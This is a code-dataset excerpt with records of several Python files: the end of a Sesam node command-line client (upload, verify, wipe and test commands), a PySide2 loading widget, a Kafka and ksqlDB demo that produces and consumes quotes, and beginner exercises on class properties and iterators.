pprint.pformat(current_output))\n\n self.logger.info(\"Got output:\\n%s\", pprint.pformat(fixed_current_output))\n\n diff = self.get_diff_string(json.dumps(expected_output, indent=2,\n ensure_ascii=False, sort_keys=True),\n json.dumps(fixed_current_output, indent=2, ensure_ascii=False,\n sort_keys=True),\n test_spec.file, \"current-output.json\")\n self.logger.info(\"Diff:\\n%s\" % diff)\n failed_tests.append(test_spec)\n failed = True\n else:\n expected_json = json.dumps(expected_output, ensure_ascii=False, indent=2, sort_keys=True)\n current_json = json.dumps(fixed_current_output, ensure_ascii=False, indent=2,\n sort_keys=True)\n\n if expected_json != current_json:\n file_path = os.path.join(os.path.relpath(BASE_DIR, GIT_ROOT), test_spec.file)\n self.logger.error(\"Pipe verify failed! \"\n \"Content mismatch for test spec '%s'\" % test_spec.file,\n {\"file_path\": file_path})\n\n self.logger.info(\"Expected output:\\n%s\" % pprint.pformat(expected_output))\n\n if self.args.extra_extra_verbose:\n self.logger.info(\"Expected output JSON:\\n%s\" % expected_json)\n self.logger.info(\"Got raw output:\\n%s\" % pprint.pformat(current_output))\n self.logger.info(\"Got output JSON:\\n%s\" % current_json)\n\n self.logger.info(\"Got output:\\n%s\" % pprint.pformat(fixed_current_output))\n\n diff = self.get_diff_string(expected_json, current_json,\n test_spec.file, \"current-output.json\")\n\n self.logger.info(\"Diff:\\n%s\" % diff)\n failed_tests.append(test_spec)\n failed = True\n\n elif test_spec.endpoint == \"xml\":\n # Special case: download and format xml document as a string\n self.logger.debug(\"Comparing XML output..\")\n expected_output = test_spec.expected_data\n current_output = self.sesam_node.get_published_data(pipe, \"xml\",\n params=test_spec.parameters,\n binary=True)\n\n try:\n # Compare prettified versions of expected and current output so we have the\n # same serialisation to look at (XML documents may be semanticaly identical even if\n # their serialisations differ).\n expected_output = self.bytes_to_xml_string(expected_output)\n current_output = self.bytes_to_xml_string(current_output)\n\n if expected_output != current_output:\n failed_tests.append(test_spec)\n failed = True\n\n self.logger.info(\"Pipe verify failed! Content mismatch:\\n%s\" %\n self.get_diff_string(expected_output, current_output, test_spec.file,\n \"current_data.xml\"))\n\n except BaseException as e:\n # Unable to parse the expected input and/or the current output, we'll have to just\n # compare them byte-by-byte\n\n self.logger.debug(\"Failed to parse expected output and/or current output as XML\")\n self.logger.debug(\"Falling back to byte-level comparison. Note that this might generate \"\n \"false differences for XML data.\")\n\n if expected_output != current_output:\n failed_tests.append(test_spec)\n failed = True\n self.logger.error(\"Pipe verify failed! Content mismatch!\")\n else:\n # Download contents as-is as a byte buffer\n expected_output = test_spec.expected_data\n current_output = self.sesam_node.get_published_data(pipe, test_spec.endpoint,\n params=test_spec.parameters, binary=True)\n\n if expected_output != current_output:\n failed_tests.append(test_spec)\n failed = True\n\n # Try to show diff - first try utf-8 encoding\n try:\n expected_output = str(expected_output, encoding=\"utf-8\")\n current_output = str(current_output, encoding=\"utf-8\")\n except UnicodeDecodeError as e:\n try:\n expected_output = str(expected_output, encoding=\"latin-1\")\n current_output = str(current_output, encoding=\"latin-1\")\n except UnicodeDecodeError as e2:\n self.logger.error(\"Pipe verify failed! Content mismatch!\")\n self.logger.warning(\"Unable to read expected and/or output data as \"\n \"unicode text so I can't show diff\")\n continue\n\n self.logger.error(\"Pipe verify failed! Content mismatch:\\n%s\" %\n self.get_diff_string(expected_output, current_output, test_spec.file,\n \"current_data.txt\"))\n else:\n self.logger.error(\"No tests references pipe '%s'\" % pipe.id)\n missing_tests.append(pipe.id)\n failed = True\n\n if failed:\n if len(failed_tests) > 0:\n self.logger.error(\"Failed %s of %s tests!\" % (len(failed_tests), len(list(test_specs.keys()))))\n self.logger.error(\"Failed pipe id (spec file):\")\n for failed_test_spec in failed_tests:\n self.logger.error(\"%s (%s)\" % (failed_test_spec.pipe, failed_test_spec.spec_file))\n\n if len(missing_tests) > 0:\n self.logger.error(\"Missing %s tests!\" % len(missing_tests))\n self.logger.error(\"Missing test for pipe:\")\n for pipe_id in missing_tests:\n self.logger.error(pipe_id)\n\n raise RuntimeError(\"Verify failed\")\n else:\n self.logger.info(\"All tests passed! Ran %s tests.\" % len(list(test_specs.keys())))\n\n def find_xml_header_settings(self, xml_data):\n xml_declaration = False\n standalone = None\n\n if xml_data.startswith(b\"\")\n if end_decl > -1:\n xmldecl = xml_data[0:end_decl]\n parts = xmldecl.split(b\"standalone=\")\n\n if len(parts) > 1:\n arg = parts[1]\n if arg.startswith(b'\"'):\n endix = arg[1:].find(b'\"')\n standalone = arg[1:endix]\n elif arg.startswith(b\"'\"):\n endix = arg[1:].find(b\"'\")\n standalone = arg[1:endix]\n\n if standalone is not None:\n standalone = str(standalone, encoding=\"utf-8\")\n\n return xml_declaration, standalone\n\n def update(self):\n self.logger.info(\"Updating expected output from current output...\")\n output_pipes = {}\n\n for p in self.sesam_node.get_output_pipes() + self.sesam_node.get_endpoint_pipes():\n output_pipes[p.id] = p\n\n test_specs = self.load_test_specs(output_pipes, update=True)\n\n if not test_specs:\n raise AssertionError(\"Found no tests (*.test.json) to update\")\n\n i = 0\n for pipe in output_pipes.values():\n if pipe.id in test_specs:\n self.logger.debug(\"Updating pipe '%s'..\" % pipe.id)\n\n # Process all tests specs for this pipe\n for test_spec in test_specs[pipe.id]:\n if test_spec.ignore is True:\n self.logger.debug(\"Skipping test spec '%s' because it was marked as 'ignore'\" % test_spec.name)\n continue\n\n self.logger.debug(\"Updating spec '%s' for pipe '%s'..\" % (test_spec.name, pipe.id))\n if test_spec.endpoint == \"json\" or test_spec.endpoint == \"excel\":\n # Get current entities from pipe in json form\n current_output = self._fix_decimal_to_ints([self.filter_entity(e, test_spec)\n for e in self.sesam_node.get_pipe_entities(\n pipe, stage=test_spec.stage)])\n\n current_output = sorted(current_output,\n key=lambda e: (e['_id'],\n json.dumps(e,\n indent=\" \",\n ensure_ascii=self.args.unicode_encoding,\n sort_keys=True)))\n\n current_output = (json.dumps(current_output, indent=\" \",\n sort_keys=True,\n ensure_ascii=self.args.unicode_encoding) +\n \"\\n\").encode(\"utf-8\")\n\n if self.args.disable_json_html_escape is False:\n current_output = current_output.replace(b\"<\", b\"\\\\u003c\")\n current_output = current_output.replace(b\">\", b\"\\\\u003e\")\n current_output = current_output.replace(b\"&\", b\"\\\\u0026\")\n\n elif test_spec.endpoint == \"xml\":\n # Special case: download and format xml document as a string\n xml_data = self.sesam_node.get_published_data(pipe, \"xml\", params=test_spec.parameters,\n binary=True)\n xml_doc_root = etree.fromstring(xml_data)\n\n xml_declaration, standalone = self.find_xml_header_settings(xml_data)\n\n current_output = etree.tostring(xml_doc_root, encoding=\"utf-8\",\n xml_declaration=xml_declaration,\n standalone=standalone,\n pretty_print=True)\n else:\n # Download contents as-is as a string\n current_output = self.sesam_node.get_published_data(pipe, test_spec.endpoint,\n params=test_spec.parameters, binary=True)\n\n test_spec.update_expected_data(current_output)\n i += 1\n\n self.logger.info(\"%s tests updated!\" % i)\n\n def stop(self):\n self.logger.info(\"Trying to stop a previously running scheduler..\")\n try:\n self.sesam_node.stop_internal_scheduler()\n\n self.logger.info(\"Any previously running scheduler has been stopped\")\n except BaseException as e:\n self.logger.warning(\"Failed to stop running schedulers!\")\n\n def test(self):\n try:\n self.logger.info(\"Running test: upload, run and verify..\")\n self.upload()\n\n for i in range(self.args.runs):\n self.run()\n\n self.verify()\n self.logger.info(\"Test was successful!\")\n except BaseException as e:\n self.logger.error(\"Test failed!\")\n raise e\n\n def run_internal_scheduler(self):\n start_time = time.monotonic()\n\n disable_pipes = self.args.enable_user_pipes\n zero_runs = self.args.scheduler_zero_runs\n max_runs = self.args.scheduler_max_runs\n max_run_time = self.args.scheduler_max_run_time\n\n class SchedulerRunner(threading.Thread):\n def __init__(self, sesam_node):\n super().__init__()\n self.sesam_node = sesam_node\n self.status = None\n self.result = {}\n\n def run(self):\n try:\n self.result = self.sesam_node.run_internal_scheduler(disable_pipes=disable_pipes,\n max_run_time=max_run_time,\n max_runs=max_runs,\n zero_runs=zero_runs)\n if self.result[\"status\"] == \"success\":\n self.status = \"finished\"\n else:\n self.status = \"failed\"\n except BaseException as e:\n self.status = \"failed\"\n self.result = e\n\n scheduler_runner = SchedulerRunner(self.sesam_node)\n scheduler_runner.start()\n\n time.sleep(1)\n\n since = None\n\n def print_internal_scheduler_log(since_val):\n log_lines = self.sesam_node.get_internal_scheduler_log(since=since_val)\n for log_line in log_lines:\n s = \"%s - %s - %s\" % (log_line[\"timestamp\"], log_line[\"loglevel\"], log_line[\"logdata\"])\n logger.info(s)\n\n if len(log_lines) > 0:\n return log_lines[-1][\"timestamp\"]\n\n return since_val\n\n while True:\n if self.args.print_scheduler_log is True:\n since = print_internal_scheduler_log(since)\n\n if scheduler_runner.status is not None:\n break\n\n time.sleep(1)\n\n if scheduler_runner.status == \"failed\":\n self.logger.error(\"Failed to run pipes to completion\")\n if self.args.print_scheduler_log is True:\n print_internal_scheduler_log(since)\n raise RuntimeError(scheduler_runner.result)\n\n if self.args.print_scheduler_log is True:\n print_internal_scheduler_log(since)\n\n self.logger.info(\"Successfully ran all pipes to completion in %s seconds\" % int(time.monotonic() - start_time))\n\n return 0\n\n def run(self):\n self.stop()\n\n return self.run_internal_scheduler()\n\n def wipe(self):\n self.logger.info(\"Wiping node...\")\n self.stop()\n\n try:\n # We need to include the \"disable-user-pipes\" setting when wiping the pipes and systems, or they will\n # start running (asserting datasets, compiling dtl etc) while we're doing the wipe,\n # which makes it take a lot longer to run\n\n if os.path.isfile(\"node-metadata.conf.json\"):\n with open(\"node-metadata.conf.json\", \"rt\") as infile:\n node_metadata = json.loads(infile.read())\n else:\n node_metadata = {\n \"_id\": \"node\",\n \"type\": \"metadata\"\n }\n\n if not \"task_manager\" in node_metadata:\n node_metadata[\"task_manager\"] = {}\n\n if not \"global_defaults\" in node_metadata:\n node_metadata[\"global_defaults\"] = {}\n\n node_metadata[\"global_defaults\"][\"use_signalling_internally\"] = False\n node_metadata[\"global_defaults\"][\"use_signalling_externally\"] = False\n node_metadata[\"global_defaults\"][\"enable_cpp_extensions\"] = False\n node_metadata[\"task_manager\"][\"disable_user_pipes\"] = True\n\n self.sesam_node.put_config([node_metadata], force=True)\n self.sesam_node.put_config([], force=True)\n self.logger.info(\"Removed pipes and systems\")\n except BaseException as e:\n logger.error(\"Failed to wipe config\")\n raise e\n\n try:\n self.sesam_node.put_env({})\n self.logger.info(\"Removed environment variables\")\n except BaseException as e:\n logger.error(\"Failed to wipe environment variables\")\n raise e\n\n self.logger.info(\"Successfully wiped node!\")\n\n\n def restart(self):\n self.logger.info(\"Restarting target node...\")\n\n try:\n self.sesam_node.restart(timeout=self.args.restart_timeout)\n except BaseException as e:\n logger.error(\"Failed to restart target node!\")\n raise e\n\n self.logger.info(\"Successfully restarted target node!\")\n\n def convert(self):\n\n def get_pipe_id(path):\n basename = os.path.basename(path)\n return basename.replace(\".conf.json\", \"\")\n\n def has_conditional_embedded_source(pipe_config, env):\n source_config = pipe_config.get(\"source\", {})\n source_type = source_config.get(\"type\", \"\")\n if source_type == \"conditional\":\n alternatives = source_config.get(\"alternatives\")\n current_profile_alternative = alternatives.get(env, {})\n if current_profile_alternative.get(\"type\", \"\") == \"embedded\":\n return True\n return False\n\n def convert_pipe_config(pipe_config):\n entities = None\n modified_pipe_config = None\n if has_conditional_embedded_source(pipe_config, self.args.profile):\n alternatives = pipe[\"source\"][\"alternatives\"]\n entities = alternatives[self.args.profile][\"entities\"]\n # rewrite the case which corresponds to env profile\n alternatives[self.args.profile] = {\n \"type\": \"http_endpoint\"\n }\n modified_pipe_config = pipe_config\n\n return modified_pipe_config, entities\n\n def save_testdata_file(pipe_id, entities):\n os.makedirs(\"testdata\", exist_ok=True)\n with open(f\"testdata{os.sep}{pipe_id}.json\", \"w\", encoding=\"utf-8\") as testdata_file:\n testdata_file.write(format_object(entities))\n\n def save_modified_pipe(pipe_json, path):\n with open(path, 'w', encoding=\"utf-8\") as pipe_file:\n pipe_file.write(format_object(pipe_json))\n\n\n self.logger.info(\"Starting converting conditional embedded sources\")\n\n if self.args.dump:\n self.logger.info(\"Dumping config for backup\")\n self.dump()\n\n for filepath in glob.glob(\"pipes%s*.conf.json\" % os.sep):\n pipe_id_from_basename = get_pipe_id(filepath)\n\n with open(filepath, 'r', encoding=\"utf-8\") as pipe_file:\n pipe = json.load(pipe_file)\n pipe_to_rewrite, entities = convert_pipe_config(pipe)\n\n if pipe_to_rewrite is not None:\n save_modified_pipe(pipe_to_rewrite, filepath)\n\n if entities is not None:\n save_testdata_file(pipe[\"_id\"], entities)\n\n self.logger.info(\"Successfully converted pipes and created testdata folder\")\n\n\nclass AzureFormatter(logging.Formatter):\n \"\"\"Azure syntax log formatter to enrich build feedback\"\"\"\n error_format = '##vso[task.logissue type=error;]%(message)s'\n warning_format = '##vso[task.logissue type=warning;]%(message)s'\n debug_format = '##[debug]%(message)s'\n default_format = '%(message)s'\n\n def format(self, record):\n if record.levelno == logging.ERROR:\n error_format = self.error_format\n if hasattr(record.args, \"get\"):\n record.file_path = record.args.get(\"file_path\")\n record.line_number = record.args.get(\"line_number\")\n record.column_number = record.args.get(\"column_number\")\n error_format = \"##vso[task.logissue type=error;\"\n if record.file_path:\n error_format += \"sourcepath=%(file_path)s;\"\n if record.line_number:\n error_format += \"linenumber=%(line_number)s;\"\n if record.column_number:\n error_format += \"columnnumber=%(column_number)s;\"\n error_format += \"]%(message)s\"\n return logging.Formatter(error_format).format(record)\n elif record.levelno == logging.WARNING:\n return logging.Formatter(self.warning_format).format(record)\n elif record.levelno == logging.DEBUG:\n return logging.Formatter(self.debug_format).format(record)\n return logging.Formatter(self.default_format).format(record)\n\n\nif __name__ == '__main__':\n parser = SesamParser(prog=\"sesam\", description=\"\"\"\nCommands:\n wipe Deletes all the pipes, systems, user datasets and environment variables in the node\n restart Restarts the target node (typically used to release used resources if the environment is strained)\n upload Replace node config with local config. Also tries to upload testdata if 'testdata' folder present.\n download Replace local config with node config\n dump Create a zip archive of the config and store it as 'sesam-config.zip'\n status Compare node config with local config (requires external diff command)\n run Run configuration until it stabilizes\n update Store current output as expected output\n convert Convert embedded sources in input pipes to http_endpoints and extract data into files\n verify Compare output against expected output\n test Upload, run and verify output\n stop Stop any running schedulers (for example if the client was permaturely terminated or disconnected) \n\"\"\", formatter_class=argparse.RawDescriptionHelpFormatter)\n\n parser.add_argument('-version', dest='version', required=False, action='store_true', help=\"print version number\")\n\n parser.add_argument('-v', dest='verbose', required=False, action='store_true', help=\"be verbose\")\n\n parser.add_argument('-vv', dest='extra_verbose', required=False, action='store_true', help=\"be extra verbose\")\n\n parser.add_argument('-vvv', dest='extra_extra_verbose', required=False, action='store_true',\n help=\"be extra extra verbose\")\n\n parser.add_argument('-skip-tls-verification', dest='skip_tls_verification', required=False, action='store_true',\n help=\"skip verifying the TLS certificate\")\n\n parser.add_argument('-sync-config-file', dest='sync_config_file', metavar=\"\",\n default=\".syncconfig\", type=str, help=\"sync config file to use, the default is \"\n \"'.syncconfig' in the current directory\")\n\n parser.add_argument('-dont-remove-scheduler', dest='dont_remove_scheduler', required=False, action='store_true',\n help=\"don't remove scheduler after failure (DEPRECATED)\")\n\n parser.add_argument('-dump', dest='dump', required=False, help=\"dump zip content to disk\", action='store_true')\n\n parser.add_argument('-print-scheduler-log', dest='print_scheduler_log', required=False,\n help=\"print scheduler log during run\", action='store_true')\n\n parser.add_argument('-use-internal-scheduler', dest='use_internal_scheduler', required=False,\n help=\"use the built-in scheduler in sesam instead of a microservice (DEPRECATED)\",\n action='store_true')\n\n parser.add_argument('-custom-scheduler', dest='custom_scheduler', required=False,\n help=\"by default a scheduler system will be added, enable this flag if you have configured a \"\n \"custom scheduler as part of the config (DEPRECATED)\", action='store_true')\n\n parser.add_argument('-scheduler-image-tag', dest='scheduler_image_tag', required=False,\n help=\"the scheduler image tag to use (DEPRECATED)\", type=str,\n metavar=\"\")\n\n parser.add_argument('-node', dest='node', metavar=\"\", required=False, help=\"service url\")\n parser.add_argument('-scheduler-node', dest='scheduler_node', metavar=\"\", required=False,\n help=\"service url for scheduler\")\n parser.add_argument('-jwt', dest='jwt', metavar=\"\", required=False, help=\"authorization token\")\n\n parser.add_argument('-single', dest='single', required=False, metavar=\"\", help=\"update or verify just a single pipe\")\n\n parser.add_argument('-no-large-int-bugs', dest='no_large_int_bugs', required=False, action='store_true',\n help=\"don't reproduce old large int bugs\")\n\n parser.add_argument('-disable-user-pipes', dest='disable_user_pipes', required=False, action='store_true',\n help=\"turn off user pipe scheduling in the target node (DEPRECATED)\")\n\n parser.add_argument('-enable-user-pipes', dest='enable_user_pipes', required=False, action='store_true',\n help=\"turn on user pipe scheduling in the target node\")\n\n parser.add_argument('-compact-execution-datasets', dest='compact_execution_datasets', required=False, action='store_true',\n help=\"compact all execution datasets when running scheduler\")\n\n parser.add_argument('-unicode-encoding', dest='unicode_encoding', required=False, action='store_true',\n help=\"store the 'expected output' json files using unicode encoding ('\\\\uXXXX') - \"\n \"the default is UTF-8\")\n\n parser.add_argument('-disable-json-html-escape', dest='disable_json_html_escape',\n required=False, action='store_true',\n help=\"turn off escaping of '<', '>' and '&' characters in 'expected output' json files\")\n\n parser.add_argument('-profile', dest='profile', metavar=\"\", default=\"test\", required=False, help=\"env profile to use -env.json\")\n\n parser.add_argument('-scheduler-id', dest='scheduler_id', metavar=\"\", required=False,\n help=\"system id for the scheduler system (DEPRECATED)\")\n\n parser.add_argument('-scheduler-zero-runs', dest='scheduler_zero_runs', default=2, metavar=\"\", type=int, required=False,\n help=\"the number of runs that has to yield zero changes for the scheduler to finish\")\n\n parser.add_argument('-scheduler-max-runs', dest='scheduler_max_runs', default=100, metavar=\"\", type=int, required=False,\n help=\" maximum number of runs that scheduler can do to before exiting (internal scheduler only)\")\n\n parser.add_argument('-scheduler-max-run-time', dest='scheduler_max_run_time', default=15*60, metavar=\"\", type=int, required=False,\n help=\"the maximum time the internal scheduler is allowed to use to finish \"\n \"(in seconds, internal scheduler only)\")\n\n parser.add_argument('-restart-timeout', dest='restart_timeout', default=15*60, metavar=\"\", type=int, required=False,\n help=\"the maximum time to wait for the node to restart and become available again \"\n \"(in seconds). The default is 15 minutes. A value of 0 will skip the back-up-again verification.\")\n\n parser.add_argument('-runs', dest='runs', type=int, metavar=\"\", required=False, default=1,\n help=\"number of test cycles to check for stability\")\n\n parser.add_argument('-logformat', dest='logformat', type=str, metavar=\"\", required=False, default=\"short\",\n help=\"output format (normal, log or azure)\")\n\n parser.add_argument('-scheduler-poll-frequency', metavar=\"\", dest='scheduler_poll_frequency', type=int, required=False,\n default=5000, help=\"milliseconds between each poll while waiting for the scheduler\")\n\n parser.add_argument('command', metavar=\"command\", nargs='?', help=\"a valid command from the list above\")\n\n try:\n args = parser.parse_args()\n except SystemExit as e:\n sys.exit(e.code)\n except BaseException as e:\n sys.exit(1)\n\n if args.version:\n print(\"sesam version %s\" % sesam_version)\n sys.exit(0)\n\n if args.logformat == \"log\":\n format_string = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'\n formatter = logging.Formatter(format_string)\n elif args.logformat == \"azure\":\n formatter = AzureFormatter()\n\n # Need to find git root to use when reporting file path in log messages\n cur_dir = os.getcwd()\n\n while True:\n file_list = os.listdir(cur_dir)\n parent_dir = os.path.dirname(cur_dir)\n if \".git\" in file_list and os.path.isdir(os.path.join(cur_dir, \".git\", \"objects\")):\n GIT_ROOT = cur_dir\n break\n else:\n if cur_dir == parent_dir:\n logger.debug(\"git root not found\")\n break\n else:\n cur_dir = parent_dir\n else:\n format_string = '%(message)s'\n formatter = logging.Formatter(format_string)\n\n # Log to stdout\n logging.addLevelName(LOGLEVEL_TRACE, \"TRACE\")\n stdout_handler = logging.StreamHandler()\n stdout_handler.setFormatter(formatter)\n logger.addHandler(stdout_handler)\n\n if args.verbose:\n logger.setLevel(logging.DEBUG)\n elif args.extra_verbose:\n logger.setLevel(LOGLEVEL_TRACE)\n elif args.extra_extra_verbose:\n from http.client import HTTPConnection\n HTTPConnection.debuglevel = 1\n logging.basicConfig()\n logging.getLogger().setLevel(logging.DEBUG)\n requests_log = logging.getLogger(\"requests.packages.urllib3\")\n requests_log.setLevel(logging.DEBUG)\n requests_log.propagate = True\n logger.setLevel(LOGLEVEL_TRACE)\n else:\n logger.setLevel(logging.INFO)\n\n logger.propagate = False\n\n command = args.command and args.command.lower() or \"\"\n\n if args.disable_user_pipes is True:\n logger.warning(\"Note: the '-disable-user-pipes' option has been deprecated and is now on by default. \"\n \"Use the '-enable-user-pipes' option to turn user pipe scheduling back on.\")\n\n if args.scheduler_image_tag or args.custom_scheduler or args.scheduler_id or args.dont_remove_scheduler:\n logger.error(\"The '-scheduler-image-tag', '-custom-scheduler', '-scheduler-id' and '-dont-remove-scheduler' \"\n \"options have been deprecated and are no longer in use.\")\n sys.exit(1)\n\n if args.use_internal_scheduler:\n logger.warning(\"Note: the '-use-internal-scheduler' option has been deprecated and is now on by default.\")\n\n if command not in [\"upload\", \"download\", \"status\", \"update\", \"verify\", \"test\", \"run\", \"wipe\",\n \"restart\", \"dump\", \"stop\", \"convert\"]:\n if command:\n logger.error(\"Unknown command: '%s'\", command)\n else:\n logger.error(\"No command given\")\n\n parser.print_usage()\n sys.exit(1)\n\n sesam_cmd_client = SesamCmdClient(args, logger)\n\n try:\n node_url, jwt_token = sesam_cmd_client.get_node_and_jwt_token()\n except BaseException as e:\n if args.verbose is True or args.extra_verbose is True or args.extra_extra_verbose is True:\n logger.exception(e)\n logger.error(\"jwt and node must be specified either as parameter, os env or in config file\")\n sys.exit(1)\n\n try:\n sesam_cmd_client.sesam_node = SesamNode(node_url, jwt_token, logger,\n verify_ssl=args.skip_tls_verification is False)\n except BaseException as e:\n if args.verbose or args.extra_verbose:\n logger.exception(e)\n logger.error(\"failed to connect to the sesam node using the url and jwt token we were given:\\n%s\\n%s\" %\n (node_url, jwt_token))\n logger.error(\"please verify the url and token is correct, and that there isn't any network issues \"\n \"(i.e. firewall, internet connection etc)\")\n sys.exit(1)\n\n start_time = time.monotonic()\n try:\n if command == \"upload\":\n sesam_cmd_client.upload()\n elif command == \"download\":\n sesam_cmd_client.download()\n elif command == \"status\":\n sesam_cmd_client.status()\n elif command == \"update\":\n sesam_cmd_client.update()\n elif command == \"verify\":\n sesam_cmd_client.verify()\n elif command == \"test\":\n sesam_cmd_client.test()\n elif command == \"stop\":\n sesam_cmd_client.stop()\n elif command == \"run\":\n if args.enable_user_pipes is True:\n logger.warning(\"Note that the -enable-user-pipes flag has no effect on the actual sesam instance \"\n \"outside the 'upload' or 'test' commands\")\n sesam_cmd_client.run()\n elif command == \"wipe\":\n sesam_cmd_client.wipe()\n elif command == \"restart\":\n sesam_cmd_client.restart()\n elif command == \"convert\":\n sesam_cmd_client.convert()\n elif command == \"dump\":\n sesam_cmd_client.dump()\n else:\n logger.error(\"Unknown command: %s\" % command)\n sys.exit(1)\n except BaseException as e:\n logger.error(\"Sesam client failed!\")\n if args.extra_verbose is True or args.extra_extra_verbose is True:\n logger.exception(\"Underlying exception was: %s\" % str(e))\n\n sys.exit(1)\n finally:\n run_time = time.monotonic() - start_time\n logger.info(\"Total run time was %d seconds\" % run_time)\n","sub_path":"sesam.py","file_name":"sesam.py","file_ext":"py","file_size_in_byte":76028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"432906355","text":"import sys\nfrom PySide2.QtGui import QImage, QPixmap\nfrom PySide2.QtWidgets import QWidget, QApplication\n\nfrom BobsSimulator.UI.LoadingWidgetUI import Ui_LoadingWidget\n\n\nPROGRESS_STYLE = \"\"\"\nQProgressBar{\n border: 2px solid grey;\n border-radius: 5px;\n text-align: center;\n background-color: grey;\n\n}\n\nQProgressBar::chunk{\n background: qlineargradient(x1: 0,\n y1: 0.5,\n x2: 1,\n y2: 0.5,\n stop: 0 orange,\n stop: 1 yellow);\n margin-right: 2px;\n}\n\n\"\"\"\n\n\nclass LoadingWidget(QWidget):\n def __init__(self, parent=None):\n QWidget.__init__(self, parent)\n\n self.ui = Ui_LoadingWidget()\n self.ui.setupUi(self)\n\n logo_img = QImage(r'res/img/logo.png')\n logo_pxm = QPixmap.fromImage(logo_img)\n logo_pxm = logo_pxm.scaled(self.ui.logoLabel.width(), self.ui.logoLabel.height())\n self.ui.logoLabel.setPixmap(logo_pxm)\n\n loading_text_img = QImage(r'res/img/loading_img.png')\n loading_text_pxm = QPixmap.fromImage(loading_text_img)\n loading_text_pxm = loading_text_pxm.scaled(self.ui.loadingTextLabel.width(), self.ui.loadingTextLabel.height())\n\n self.ui.loadingTextLabel.setPixmap(loading_text_pxm)\n\n self.ui.progressBar.setStyleSheet(PROGRESS_STYLE)\n self.ui.progressBar.setValue(0)\n\n def set_progress(self, value):\n self.ui.progressBar.setValue(value)\n\n\nif __name__ == '__main__':\n app = QApplication()\n ex = LoadingWidget()\n ex.show()\n sys.exit(app.exec_())\n","sub_path":"BobsSimulator/LoadingWidget.py","file_name":"LoadingWidget.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"547483045","text":"from confluent_kafka import Producer, Consumer, KafkaError\nimport requests\nimport time\n\n\ndef main():\n \"\"\"\n This program produces quotes to a Kafka Topic, then\n makes a REST API call to create a KSQL query,\n and finally consumes the transformed messages created by\n the query.\n \"\"\"\n print(\">>> Starting Python Kafka Client...\")\n produce_quotes()\n call_ksql()\n consume_lowercase_quotes()\n print(\"<<< Ending Python Kafka Client...\")\n\n# Initialization\nquotes = [\n \"Kafka enables the Confluent Streaming Platform\",\n \"Confluent offers a Streaming Platform powered by Kafka\",\n \"Kafka Streams are cool\",\n \"Streaming allows for real-time processing of information\",\n \"I love Kafka\"\n]\noutput_topic = \"quotes\"\ninput_topic = \"QUOTES_LOWER\"\nbootstrap_servers = \"kafka:9092\"\n\n# Function Definitions\n\ndef produce_quotes():\n print(\"------ Writing quotes to topic '\" + output_topic + \"' ------\")\n producer = Producer({\"bootstrap.servers\": bootstrap_servers})\n for quote in quotes:\n print(\"*** writing: \" + quote)\n producer.produce(output_topic, value=quote)\n producer.flush()\n print(\"------ done writing quotes ------\")\n\n\ndef call_ksql():\n print(\"\\n--------- Posting to KSQL Server ---------\\n\")\n ksql = \"CREATE STREAM quotes_orig (line STRING) WITH(KAFKA_TOPIC='quotes', VALUE_FORMAT='DELIMITED');\"\n post_expression(ksql)\n\n # wait until KSQL server has created the stream\n time.sleep(2)\n\n ksql = \"CREATE STREAM quotes_lower AS SELECT LCASE(line) FROM quotes_orig;\"\n post_expression(ksql)\n print(\"\\n--------- done posting to KSQL Server -----------\\n\")\n\ndef post_expression(ksql):\n headers = {\n \"accept\": \"application/vnd.ksql.v1+json\",\n \"content-type\": \"application/vnd.ksql.v1+json\"\n }\n data = {\n \"ksql\": ksql,\n \"streamsProperties\": {\"ksql.streams.auto.offset.reset\": \"earliest\"}\n }\n try:\n r = requests.post(\"http://ksqldb-server:8088/ksql\", json = data, headers=headers)\n except:\n print(\"ERROR: \" + str(r.status_code) + \", \" + r.text)\n raise\n print(str(r.status_code) + \", \" + r.text + \",\\n\")\n \ndef consume_lowercase_quotes():\n print(\"------ Reading from topic '\" + input_topic + \"' ------\")\n consumer = Consumer({\n \"bootstrap.servers\": bootstrap_servers,\n \"group.id\": \"sample-group\",\n \"default.topic.config\": {\n \"auto.offset.reset\": \"earliest\"\n }\n })\n consumer.subscribe([input_topic])\n i=0\n while i < 5:\n msg = consumer.poll(1.0)\n\n if msg is None:\n continue\n if msg.error():\n if msg.error().code() == KafkaError._PARTITION_EOF:\n continue\n else:\n print(msg.error())\n break\n\n print('Received message: {}'.format(msg.value().decode('utf-8')))\n i = i + 1\n\n consumer.close()\n\n\n# Call main function if program is run from command line\nif __name__ == \"__main__\":\n main()\n","sub_path":"solution/ksql-rest-api/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"647357893","text":"# -*- coding: utf-8 -*-\n\n#COMECE AQUI ABAIXO\na=[1,2,1]\nn=int(input('Digite seu numero: '))\ni=0\ndef crescente(lista):\n while i=0:\n print('score相关属性:',x)\n\nprint(\"Student_hight.score = 100, 这样使用居然能影响到所有的实例,为什么呢?\")\nprint(\"原因是Student_hight.score=100 是为该类添加了新的类属性,并且还把设置的score 方法覆盖了,所以在实例中s2.score 其实是获取的类属性\")\nStudent_hight.score = 101\nprint('s2.score 其实获取的是Student_hight的新类属性,而不是get_score 》',s2.score)\nprint('s3.score 其实获取的是Student_hight的新类属性,而不是get_score 》',s3.score)\nprint('s3.__score',s3.__score)\nprint(s3.leftscore)\n\n\nclass Student_special(object):\n def __init__(self,name):\n self.__name=name\n def __str__(self):\n return 'Student_special (name: %s)' % self.__name\n __repr__ = __str__ \nprint(Student_special('cjm'))\n\nclass Fib(object):\n def __init__(self):\n self.a,self.b = 0,1\n def __iter__(self):\n return self\n def __next__(self):\n self.a,self.b = self.b,self.a+self.b\n if self.a >20:\n raise StopIteration()\n return self.a\n def __getitem__(self,n):\n if isinstance(n,int):\n a,b = 1,1\n for x in range(n):\n a,b =b,a+b\n return a\n if isinstance(n,slice):\n st = n.start\n sp = n.stop\n print(type(sp))\n if st is None:\n st = 0\n a,b =1,1\n L=[]\n for x in range(sp):\n if(x >= st):\n L.append(a)\n a,b=b,a+b\n return L\n def __getattr__(self,attr):\n return 'no '+attr\n\n\nlist_s=[] \nfor n in Fib() :\n list_s.append(n)\nprint(list_s)\nprint(Fib()[3])\nf = 